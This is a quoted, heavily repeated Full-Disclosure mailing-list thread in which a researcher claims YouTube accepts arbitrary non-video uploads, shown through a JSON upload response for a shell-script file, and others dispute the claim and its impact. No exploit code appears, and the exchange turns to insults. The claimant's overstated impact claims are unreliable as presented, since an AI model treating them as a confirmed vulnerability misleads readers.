On Fri, Mar 14, 2014 at 8:08 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

My claim is now verified

Cheers!

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson christhom7...@gmail.com
wrote:

Hi Nikolas,

Please do read (and understand) my entire email before responding - I
understand your frustration trying to get your message across but maybe
this will help.

Please put aside professional pride for the time being - I know how it
feels to be passionate about something yet have others simply not
understand.

Let me try and bring some sanity to the discussion and explain to you
why people maybe not agreeing with you.

You (rightly so) highlighted what you believe to be an issue in a
Youtube whereby it appears (to you) than you can upload an arbitrary file.
If you can indeed do this as you suspect then your points are valid and you
may be able to cause various issues associated with it such as DOS etc -
especially if the uploaded files cannot or are not tracked.

However...

Consider than you are talking to an API and what you are getting back
(the JSON response) in your example is simply a response from the API to
say the file you uploaded has been received and saved.

If you could for example demonstrate that the file was indeed
persistent, by being able to retrieve it for example then again, you would
have solid ground to claim an issue however your claims at this point are
based on an assumption Let me explain.

1. You have demonstrated than you can send any file to an API and the
API returned an acknowledgment of receiving (and saving) the file.

2. You / we don't know what Google do with files once they have been
received from the API - maybe they process them and validate them - we
simply don't know.

3. You have hypothesized that you can retrieve the file by manipulating
tokens etc and you may be right, but you have not demonstrated it as such.

Because of this, you seem to have made a CLAIM that you can upload
arbitrary files to Google however SHOWN that you can simply send files to
an API and an API responds in a certain way.

I am NOT saying you haven't found an issue, what I am saying is that
you need to demonstrate that the issue is real and thus can be abused. If
the Google service simply verifies all uploaded files once they are
uploaded and discards them if invalid, then you haven't really found
anything.

If you were to prove that you were able to retrieve this uploaded file
then how could anyone dispute your bug.

Hope this helps

Cheers!

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

You are trying to execute an sh script through a video player. That's an
exec() command. So its the wrong way about accessing the file.

On Fri, Mar 14, 2014 at 8:20 PM, R D rd.secli...@gmail.com wrote:

{sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url:
http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000
,cross_domain_url:
http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status:
ok, *video_id: KzKDtijwHFI*
,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}}
And what do we get when we browse to
https://youtube.com/watch?v=KzKDtijwHFI ?
Nothing.
Can you send me a link where I can access the file content of the
arbitrary file you uploaded?
Are you sure this json response, or this file, will be there in a month?
Or in a year? Is the fact that this json response exists a threat to
youtube? Can you quantify how of a threat? How much, in dollars, does it
hurt their business?

--Rob

On Fri, Mar 14, 2014 at 9:08 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

My claim is now verified

Cheers!

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson
christhom7...@gmail.com wrote:

Hi Nikolas,

Please do read (and understand) my entire email before responding - I
understand your frustration trying to get your message across but maybe
this will help.

Please put aside professional pride for the time being - I know how it
feels to be passionate about something yet have others simply not
understand.

Let me try and bring some sanity to the discussion and explain to you
why people maybe not agreeing with you.

You (rightly so) highlighted what you believe to be an issue in a
Youtube whereby it appears (to you) than you can upload an arbitrary file.
If you can indeed do this as you suspect then your points are valid and
you
may be able to cause various issues associated with it such as DOS etc -
especially if the uploaded files cannot or are not tracked.

However...

Consider than you are talking to an API and what you are getting back
(the JSON response) in your example is simply a response from the API to
say the file you uploaded has been received and saved.

If you could for example demonstrate that the file was indeed
persistent, by being able to retrieve it for example then again, you would
have solid ground to claim an issue however your claims at this point are
based on an assumption Let me explain.

1. You have demonstrated than you can send any file to an API and
the API returned an acknowledgment of receiving (and saving) the file.

2. You / we don't know what Google do with files once they have been
received from the API - maybe they process them and validate them - we
simply don't know.

3. You have hypothesized that you can retrieve the file by
manipulating tokens etc and you may be right, but you have not
demonstrated
it as such.

Because of this, you seem to have

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Are you sure this json response, or this file, will be there in a month? Or
in a year? Is the fact that this json response exists a threat to youtube?
Can you quantify how of a threat? How much, in dollars, does it hurt their
business?

This file may be here if the admins don't delete it. Now they may do ;@)

So where do you think that information is coming from? The metadata and
tags, and headers are contained in a database.

The files are stored persistently , since they can be quoted. So the API
works both ways. The main thing here is that the files are there, otherwise
there metadata information would be deleted from the db aswell.

http://gdata.youtube.com/demo/index.html?utm_source=
twitterfeedutm_medium=twitter

Youtube DATA API is unique.. the commands can be send through that
interface... So we do definitely know that that is coming from a database.

On Fri, Mar 14, 2014 at 8:22 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

You are trying to execute an sh script through a video player. That's an
exec() command. So its the wrong way about accessing the file.

On Fri, Mar 14, 2014 at 8:20 PM, R D rd.secli...@gmail.com wrote:

--Rob

On Fri, Mar 14, 2014 at 9:08 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

My claim is now verified

Cheers!

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson
christhom7...@gmail.com wrote:

Hi Nikolas,

Please do read (and understand) my entire email before responding - I
understand your frustration trying to get your message across but maybe
this will help.

Please put aside professional pride for the time being - I know how
it feels to be passionate about something yet have others simply not
understand.

Let me try and bring some sanity to the discussion and explain to you
why people maybe not agreeing with you.

You (rightly so) highlighted what you believe to be an issue in a
Youtube whereby it appears (to you) than you can upload an arbitrary
file.
If you can indeed do this as you suspect then your points are valid and
you
may be able to cause various issues associated with it such as DOS etc
-
especially if the uploaded files cannot or are not tracked.

However...

Consider than you are talking to an API and what you are getting back
(the JSON response) in your example is simply a response from the API to
say the file you uploaded has been received and saved.

Now, as you no doubt know, when you upload a regular movie to
YouTube, once uploaded it goes away and

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

So where do you think that information is coming from? The metadata and
tags, and headers are contained in a database.

http://gdata.youtube.com/demo/index.html?utm_source=
twitterfeedutm_medium=twitter

Youtube DATA API is unique.. the commands can be send through that
interface... So we do definitely know that that is coming from a database.
That same video id can be queried through the above link. Having done so, I
confirmed that the information originate from a direct connection to the
db, where the data are stored.

On Fri, Mar 14, 2014 at 8:20 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

So where do you think that information is coming from? The metadata and
tags, and headers are contained in a database.

http://gdata.youtube.com/demo/index.html?utm_source=twitterfeedutm_medium=twitter

Youtube DATA API is unique.. the commands can be send through that
interface... So we do definitely know that that is coming from a database.

On Fri, Mar 14, 2014 at 8:16 PM, Chris Thompson
christhom7...@gmail.comwrote:

Hi Nicholas,

Again, you hypothesize that you are getting a response from the database,
but you really don't know that. You have no idea when the code is doing
behind the endpoint.

upload.youtube.com is simple an endpoint that you are sending a request
to and getting a response from -

Can you upload a ZIP file for example and then get that same ZIP file
from another machine? If you can do that, then who can question your bug.

Again, i'm not trying to be a dick - just trying to help!

Cheers...

On Fri, Mar 14, 2014 at 4:08 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

My claim is now verified

Cheers!

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson
christhom7...@gmail.com wrote:

Hi Nikolas,

Please do read (and understand) my entire email before responding - I
understand your frustration trying to get your message across but maybe
this will help.

Please put aside professional pride for the time being - I know how
it feels to be passionate about something yet have others simply not
understand.

Let me try and bring some sanity to the discussion and explain to you
why people maybe not agreeing with you.

You (rightly so) highlighted what you believe to be an issue in a
Youtube whereby it appears (to you) than you can upload an arbitrary
file.
If you can indeed do this as you suspect then your points are valid and
you
may be able to cause various issues associated with it such as DOS etc
-
especially if the uploaded files cannot or are not tracked.

However...

Consider than you are talking to an API and what you are getting back
(the JSON response) in your example is simply a response from the API to
say the file you uploaded has been received and saved.

Now, as you no doubt know, when you upload a regular movie to
YouTube, once uploaded it goes away and does some post-processing,
converting it to flash for example. What's to say that there isn't some
verification aspect to this post-processing that checks if the file is
intact a valid movie and if not removes it.

If you could for example demonstrate that the file was indeed
persistent, by being able to retrieve it for example then again, you
would
have solid ground to claim an issue however your claims at this point are
based on an assumption Let me explain.

1. You have demonstrated than you can send any file to an API and
the API returned an acknowledgment of receiving (and saving) the file.

2. You / we don't know what Google do with files once they have been
received from the API - maybe they process

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

In my expertise, that is a vulnerability.

Now if Google doesn't want to fix patch that, it's their choice. However I
have already disclosed that to them.

On Fri, Mar 14, 2014 at 8:25 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

So where do you think that information is coming from? The metadata and
tags, and headers are contained in a database.

http://gdata.youtube.com/demo/index.html?utm_source=
twitterfeedutm_medium=twitter

On Fri, Mar 14, 2014 at 8:20 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

So where do you think that information is coming from? The metadata and
tags, and headers are contained in a database.

http://gdata.youtube.com/demo/index.html?utm_source=twitterfeedutm_medium=twitter

Youtube DATA API is unique.. the commands can be send through that
interface... So we do definitely know that that is coming from a database.

On Fri, Mar 14, 2014 at 8:16 PM, Chris Thompson
christhom7...@gmail.comwrote:

Hi Nicholas,

Again, you hypothesize that you are getting a response from the
database, but you really don't know that. You have no idea when the code is
doing behind the endpoint.

upload.youtube.com is simple an endpoint that you are sending a request
to and getting a response from -

Can you upload a ZIP file for example and then get that same ZIP file
from another machine? If you can do that, then who can question your bug.

Again, i'm not trying to be a dick - just trying to help!

Cheers...

On Fri, Mar 14, 2014 at 4:08 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

My claim is now verified

Cheers!

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson
christhom7...@gmail.com wrote:

Hi Nikolas,

Please do read (and understand) my entire email before responding -
I understand your frustration trying to get your message across but
maybe
this will help.

Please put aside professional pride for the time being - I know how
it feels to be passionate about something yet have others simply not
understand.

Let me try and bring some sanity to the discussion and explain to
you why people maybe not agreeing with you.

You (rightly so) highlighted what you believe to be an issue in a
Youtube whereby it appears (to you) than you can upload an arbitrary
file.
If you can indeed do this as you suspect then your points are valid and
you
may be able to cause various issues associated with it such as DOS
etc -
especially if the uploaded files cannot or are not tracked.

However...

Consider than you are talking to an API and what you are getting
back (the JSON response) in your example is simply a response from the
API
to say the file you uploaded has been received and saved.

Now, as you no doubt know, when you upload a regular movie to
YouTube, once uploaded it goes away and does some post-processing,
converting it to flash for example. What's to say that there isn't some
verification aspect to this post-processing that checks if the file is
intact a valid movie and if not removes it.

If you could for example demonstrate that the file was indeed
persistent, by being able to retrieve it for example then again, you
would
have solid ground to claim an issue however your claims at this point
are
based on an assumption Let

Re: [Full-disclosure] Google vulnerabilities with PoC

Try learning how to properly send emails before critizicing anyone, pal. ;)


On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I was
 your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I was
 your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have also
 mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...



 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is
 a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
 not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),
 security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

Re: [Full-disclosure] Fwd: Fwd: Google vulnerabilities with PoC

Not to mention imaginary.


On Fri, Mar 14, 2014 at 6:58 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.comwrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...



 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
 is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
 not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),
 security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a
 proper
 SDLC (Build security in) as per Defense-in-Depth security
 principles
 and 2) used and implemented correctly.
 NB: A

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

[image: Inline image 1]


On Fri, Mar 14, 2014 at 7:07 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Quite funnily, most erratic comments originate from a @gmail.com host.
 Does that mean that Google and Co are attacking the researcher ?


 On Fri, Mar 14, 2014 at 6:06 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Quite funnily, most erratic comments originate from a @gmail.com host.
 Does that mean that Google and Co are attacking the researcher ?




 On Fri, Mar 14, 2014 at 6:04 PM, Mike Hale eyeronic.des...@gmail.comwrote:

 No, you're saying something's a vulnerability without showing any
 indication of how it can be abused.

 On Fri, Mar 14, 2014 at 11:00 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:
  The full-disclosure mailing list has really changed. It's full of
 lamers
  nowdays aiming high.
 
 
 
 
 
  On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Says the script kiddie... Beg for some publicity. My customers are
 FTSE
  100.
 
  -- Forwarded message --
  From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
  Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
  To: antisnatchor antisnatc...@gmail.com
 
 
  Says the script kiddie... Beg for some publicity. My customers are
 FTSE
  100.
 
 
 
 
  On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.com
 
  wrote:
 
  LOL you're hopeless.
  Good luck with your business. Brave customers!
 
  Cheers
  antisnatchor
 
  Nicholas Lemonias. wrote:
 
 
  People can read the report if they like. Can't you even do basic
 things
  like reading a vulnerability report?
 
  Can't you see that the advisory is about writing arbitrary files. If
 I
  was your boss I would fire you.
  -- Forwarded message --
  From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:43 PM
  Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
  To: Mario Vilas mvi...@gmail.com
 
 
  People can read the report if they like. Can't you even do basic
 things
  like reading a vulnerability report?
 
  Can't you see that the advisory is about writing arbitrary files. If
 I
  was your boss I would fire you, with a good kick outta the door.
 
 
 
 
 
 
  On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com
 wrote:
 
  On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Jerome of Mcafee has made a very valid point on revisiting
  separation
  of duties in this security instance.
 
  Happy to see more professionals with some skills.  Some others have
  also mentioned the feasibility for Denial of Service attacks.
 Remote code
  execution by Social Engineering is also a prominent scenario.
 
 
  Actually, people have been pointing out exactly the opposite. But
 if you
  insist on believing you can DoS an EC2 by uploading files, good
 luck to you
  then...
 
 
 
  If you can't tell that that is a vulnerability (probably coming
 from a
  bunch of CEH's), I feel sorry for those consultants.
 
 
  You're the only one throwing around certifications here. I can no
 longer
  tell if you're being serious or this is a massive prank.
 
 
 
  Nicholas.
 
 
  On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  We are on a different level perhaps. We do certainly disagree on
 those
  points.
  I wouldn't hire you as a consultant, if you can't tell if that is
 a
  valid vulnerability..
 
 
  Best Regards,
  Nicholas Lemonias.
 
  On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com
  wrote:
 
  But do you have all the required EH certifications? Try this one
 from
  the Institute for
  Certified Application Security Specialists:
 http://www.asscert.com/
 
 
  On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Thanks Michal,
 
  We are just trying to improve Google's security and contribute
 to
  the research community after all. If you are still on EFNet
 give me a shout
  some time.
 
   We have done so and consulted to hundreds of clients including
  Microsoft, Nokia, Adobe and some of the world's biggest
 corporations. We are
  also strict supporters of the ACM code of conduct.
 
  Regards,
  Nicholas Lemonias.
  AISec
 
 
  On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Hi Jerome,
 
  Thank you for agreeing on access control, and separation of
 duties.
 
  However successful exploitation permits arbitrary write() of
 any
  file of choice.
 
  I could release an exploit code in C Sharp or Python that
 permits
  multiple file uploads of any file/types, if the Google
 security team feels
  that this would be necessary. This is unpaid work, so we are
 not so keen on
  that job.
 
 
 
  On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias
  athiasjer...@gmail.com wrote:
 
  Hi
 
  I concur that we are mainly

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

So if you can upload a file to Google Drive and trick someone to run it,
you'd call that a vulnerability too?

Hey, I've got another one. I can upload a video on Youtube telling people
to download and install a virus. I'll claim a prize too!

Keep at it man, you're hilarious! xDDD

/me goes grab more popcorn


On Fri, Mar 14, 2014 at 8:28 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Then that also means that firewalls and IPS systems are worthless. Why
 spend so much time protecting the network layers if a user can send any
 file of choice to a remote network through http...

 As for the uploaded files being persistent, there is evidence of that.
 For instance a remote admin could be tricked to execute some of
 the uploaded files (Social Engineering).

 So our report sent as part of Google's security program, should not be
 treated as a non-security issue.


 Thanks,


 On Fri, Mar 14, 2014 at 7:23 PM, R D rd.secli...@gmail.com wrote:

 I'm going to try to spell it out clearly.

 You don't have unrestricted file upload[1]. Keep in mind you're trying to
 abuse youtube, which is essentially a video file upload service. So the
 fact that you can upload files is not surprising.
 Now you're uploading non-video files. Cool. But not earth-shattering.
 They are not accessible to anyone but you, as far as I can tell, and I
 don't even think you can access the file contents on the remote server, but
 please prove me wrong on both points.
 You are still, as far as I can tell, bound by the per-file and
 per-account quota on disk occupation, so you don't have a DoS by resource
 exhaustion.
 You can't force server-side file path, so you don't have RFI or DoS by
 messing with the remote file system. You can't execute the files you
 uploaded, so you don't have arbitrary code execution.

 But you are right about what your PoC does. You bypassed a security
 control, you uploaded crap on youtube servers, and by that you exhausted
 their resources by a fraction of the quota they allow you when signing up.
 BTW, I don't think they keep invalid video files for an indefinite period
 of time in a user account, but I might be wrong.

 The burden of proof is still on your side as to whether or not the bug
 you found has any impact that was not already accepted by youtube allowing
 registered users to upload whatever crap they see fit as long as it is
 video. You failed to provide this proof, and please be sure the audience of
 fulldisclosure is not attacking the researcher but working with you to
